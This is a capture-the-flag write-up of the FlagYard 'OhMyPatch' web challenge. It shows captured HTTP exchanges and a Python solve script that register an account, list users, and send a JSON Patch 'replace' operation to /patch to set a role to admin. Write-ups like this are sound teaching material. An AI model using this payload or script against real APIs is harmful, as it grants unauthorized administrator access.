FlagYard: OhMyPatch

FlagYard · Web · Black-box · JSON API, JWT bearer · JSON Patch abuse · 2024

Root cause

/patch applies a JSON Patch operation from any registered user straight to the user store, so one request replaces the role the server assigned with admin.

marked = attacker-controlled bytes

Chain

  1. Find the methodOPTIONS /register
  2. RegisterPOST /register
  3. Read the storeGET /users
  4. Rewrite the rolePATCH /patch
  5. CollectGET /flag
Contents

01 Surface

Browsing the application turns up three endpoints. Trying for one more finds a fourth.

  • /registerfound by browsing
  • /usersfound by browsing
  • /found by browsing
  • /flagfound by trying it

02 Registration

The logical first move is to register a user, so there is something to log in with. Going to /register directly returns 405 Method Not Allowed, so the question becomes which methods the endpoint does accept. An OPTIONS request answers it.

Runfive attempts at /register, in the order they were made
  1. Direct visit 405 Method Not Allowed described, not captured
  2. 01 Options 200 OK Allow: POST
  3. 02 Post 500 INTERNAL SERVER ERROR no Content-Type
  4. 03 Post 400 BAD REQUEST Missing field: name
  5. 04 Post 200 OK token issued
Show the three attempts before it workedHide the three earlier attempts
Exchange 01Asking which methods /register accepts.

Request

OPTIONS /register HTTP/1.1
Host: ab68ea671c85d953548ab.playat.flagyard.com
show 8 more headershide 8 headers
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: [redacted]
Upgrade-Insecure-Requests: 1
Priority: u=0, i

Response

HTTP/1.1 200 OK
show 4 headershide 4 headers
Date: Thu, 24 Oct 2024 11:18:05 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: keep-alive
Allow: POST, OPTIONS
Referrer-Policy: no-referrer

POST is allowed, so that is how a user gets registered.

Exchange 02A first attempt. The body is JSON, but nothing in the request says so.

Request

POST /register HTTP/1.1
Host: ab68ea671c85d953548ab.playat.flagyard.com
show 9 more headershide 9 headers
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: [redacted]
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 53

{
"username": "test",
"password": "test"
}

Response

HTTP/1.1 500 INTERNAL SERVER ERROR
show 5 headershide 5 headers
Date: Thu, 24 Oct 2024 11:20:42 GMT
Content-Type: application/json
Content-Length: 32
Connection: keep-alive
Referrer-Policy: no-referrer

{"message":"An error occurred"}

After much testing, the cause of the 500 turns out to be simple: the request did not set a Content-Type header. With it set, the server answers differently.

Exchange 03Now declared as JSON. The server gets as far as checking fields.

Request

POST /register HTTP/1.1
Host: ab68ea671c85d953548ab.playat.flagyard.com
show 4 more headershide 4 headers
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Connection: keep-alive
Cookie: [redacted]
Upgrade-Insecure-Requests: 1
Authorization: Bearer [redacted]
Priority: u=0, i
Content-Length: 66

{
"username":"newuser",
"password": "securepassword"
}

Response

HTTP/1.1 400 BAD REQUEST
show 5 headershide 5 headers
Date: Thu, 24 Oct 2024 11:36:07 GMT
Content-Type: application/json
Content-Length: 34
Connection: keep-alive
Referrer-Policy: no-referrer

{"message":"Missing field: name"}

A field is missing.

Adding all the missing fields gets the user registered, and the response carries an access token.

Exchange 04All five fields present. These values are the ones to follow.

Request

POST /register HTTP/1.1
Host: ab68ea671c85d953548ab.playat.flagyard.com
show 11 more headershide 11 headers
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Connection: keep-alive
Cookie: [redacted]
Upgrade-Insecure-Requests: 1
Authorization: Bearer [redacted]
Priority: u=0, i
Content-Length: 128

{
"name": "testuser",
"username":"test",
"password": "testpassword",
"age": 23,
"department": "sec"
}

Response

HTTP/1.1 200 OK
show 5 headershide 5 headers
Date: Thu, 24 Oct 2024 11:43:04 GMT
Content-Type: application/json
Content-Length: 384
Connection: keep-alive
Referrer-Policy: no-referrer

{"access_token":"[redacted]","message":"User registered successfully"}

03 The user store

With the token, a request to /users shows every registered user.

Exchange 05Listing the user store with the new token.

Request

GET /users HTTP/1.1
Host: ab68ea671c85d953548ab.playat.flagyard.com
show 6 more headershide 6 headers
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: [redacted]
Authorization: Bearer [redacted]
Upgrade-Insecure-Requests: 1
Priority: u=0, i

Response

HTTP/1.1 200 OK
show 5 headershide 5 headers
Date: Thu, 24 Oct 2024 11:43:55 GMT
Content-Type: application/json
Content-Length: 430
Connection: keep-alive
Referrer-Policy: no-referrer

{"users":[
{"age":35,"department":"Engineering","id":1,"name":"Alice","role":"user"},
{"age":28,"department":"Marketing","id":2,"name":"Bob","role":"user"},
{"age":40,"department":"Sales","id":3,"name":"Charlie","role":"user"},
{"age":23,"department":"sec","id":6,"name":"testuser","role":"user"}
]}

Body reflowed to one record per line. In the last record, the bold fields are the two the server assigned.

The new account is the last record. Its name, age and department are the values sent in exchange 04. Its id and its role are not: the server chose those, and the role it chose is user.

04 The patch

The name of the challenge makes it clear that this has something to do with PATCH, and there is a /patch endpoint. That endpoint can be used to escalate the account to admin.

Payload one JSON Patch operation, 55 bytes
{"op":"replace","path":"/users/3/role","value":"admin"}

As sent in the manual request. All three values are the caller’s choice.

Exchange 06The operation, sent with an ordinary user’s token.

Request

PATCH /patch HTTP/1.1
Host: a7a129633f142bc48d027.playat.flagyard.com
Authorization: Bearer [redacted]
Content-Type: application/json
Content-Length: 55

{"op":"replace","path":"/users/3/role","value":"admin"}

Response

Not captured. I did not save the response to this request.

Set side by side, what the application relies on and what /patch does look like this.

Assumption

what the app relies on

The role is the server’s to assign.

Registration took five fields and none of them was a role. The record still came back with one, already set.

{"age":23,"department":"sec","id":6,"name":"testuser","role":"user"}

Bypass

why that does not hold

/patch writes to the same record, by path.

The operation does not go through registration at all. It names the role field of a user record and replaces the value the server assigned.

"op":"replace" "path":"/users/3/role" "value":"admin"

05 Root cause and fix

An ordinary user’s token is enough to replace a role. /patch takes the operation as sent and applies it to the user store. The caller picks the path, and the path may point at role.

Fix: to be written.

06 Result

Not captured After the patch, GET /flag returned the flag. I did not save that request or its response. The last step of the script makes the same request.

07 Automation

I also wrote a script that walks the same path in four steps: register, list the users, patch the role, request the flag. These are the lines that carry the payload.

Sourcesolve script, Python, 109 lines. Lines 74 to 88 shown.
show lines 1 to 73hide lines 1 to 73
1import requests
2import json
3import sys
4
5# Base URL
6# Change this to the target URL
7base_url = "http://ab68ea671c85d953548ab.playat.flagyard.com"
8
9# User Information
10username_to_register = "newuser"
11name_to_find = "JohnDoe" # Change this to the desired user name
12
13# Step 1: User Registration
14register_url = f"{base_url}/register"
15user_data = {
16 "name": name_to_find, # Use the name to find id
17 "username": username_to_register,
18 "password": "securepassword",
19 "age": 25,
20 "department": "IT"
21}
22
23print("[+] Registering user...")
24register_response = requests.post(register_url, headers={
25 "Content-Type": "application/json"}, data=json.dumps(user_data))
26
27if register_response.status_code == 200:
28 print("[+] User registered successfully.")
29 response_json = register_response.json()
30 # Fetch token from the correct key
31 token = response_json.get("access_token")
32 if token:
33 print(f"[+] Token retrieved: {token}")
34 else:
35 print("[-] Token not found in the registration response.")
36 print("Response:", response_json)
37 sys.exit(1)
38else:
39 print(f"[-] Failed to register user. Status Code: {register_response.status_code}, Response: {register_response.text}")
40 sys.exit(1)
41
42# Step 2: Fetch all users to get user ID
43users_url = f"{base_url}/users" # Use the base URL
44print("[+] Fetching all users...")
45
46# Verify that the token is valid before using it
47if len(token.split(".")) != 3:
48 print(f"[-] Invalid JWT token format: {token}")
49 sys.exit(1)
50
51users_response = requests.get(
52 users_url, headers={"Authorization": f"Bearer {token}"})
53
54if users_response.status_code == 200:
55 users_data = users_response.json()
56 print(f"[+] Users fetched successfully: {users_data}")
57else:
58 print(f"[-] Failed to fetch users. Status Code: {users_response.status_code}, Response: {users_response.text}")
59 sys.exit(1)
60
61# Find our user by the "name" field
62user_id = None
63for user in users_data['users']:
64 if user['name'] == name_to_find:
65 user_id = user['id']
66 break
67
68if user_id is None:
69 print(f"[-] Failed to find the user '{name_to_find}' in the users list.")
70 sys.exit(1)
71else:
72 print(f"[+] Found user ID: {user_id}")
73
74# Step 3: Privilege Escalation (Patch the found user ID to Admin)
75patch_url = f"{base_url}/patch" # Use the base URL
76patch_data = [
77 {
78 "op": "replace",
79 "path": f"/users/{user_id - 1}/role",
80 "value": "admin"
81 }
82]
83
84print(f"[+] Escalating privileges for user ID {user_id - 1} to admin...")
85patch_response = requests.patch(patch_url, headers={
86 "Content-Type": "application/json",
87 "Authorization": f"Bearer {token}"
88}, data=json.dumps(patch_data))
show lines 89 to 109hide lines 89 to 109
89
90if patch_response.status_code == 200:
91 print(f"[+] Privilege escalation successful: {patch_response.text}")
92else:
93 print(f"[-] Failed to escalate privileges. Status Code: {patch_response.status_code}, Response: {patch_response.text}")
94 sys.exit(1)
95
96# Step 4: Retrieve Flag
97flag_url = f"{base_url}/flag" # Use the base URL
98
99print("[+] Attempting to retrieve flag...")
100flag_response = requests.get(flag_url, headers={
101 "Authorization": f"Bearer {token}",
102 "Content-Type": "application/json"
103})
104
105if flag_response.status_code == 200:
106 print(f"[+] Flag retrieved: {flag_response.text}")
107else:
108 print(f"[-] Failed to retrieve flag. Status Code: {flag_response.status_code}, Response: {flag_response.text}")
109 sys.exit(1)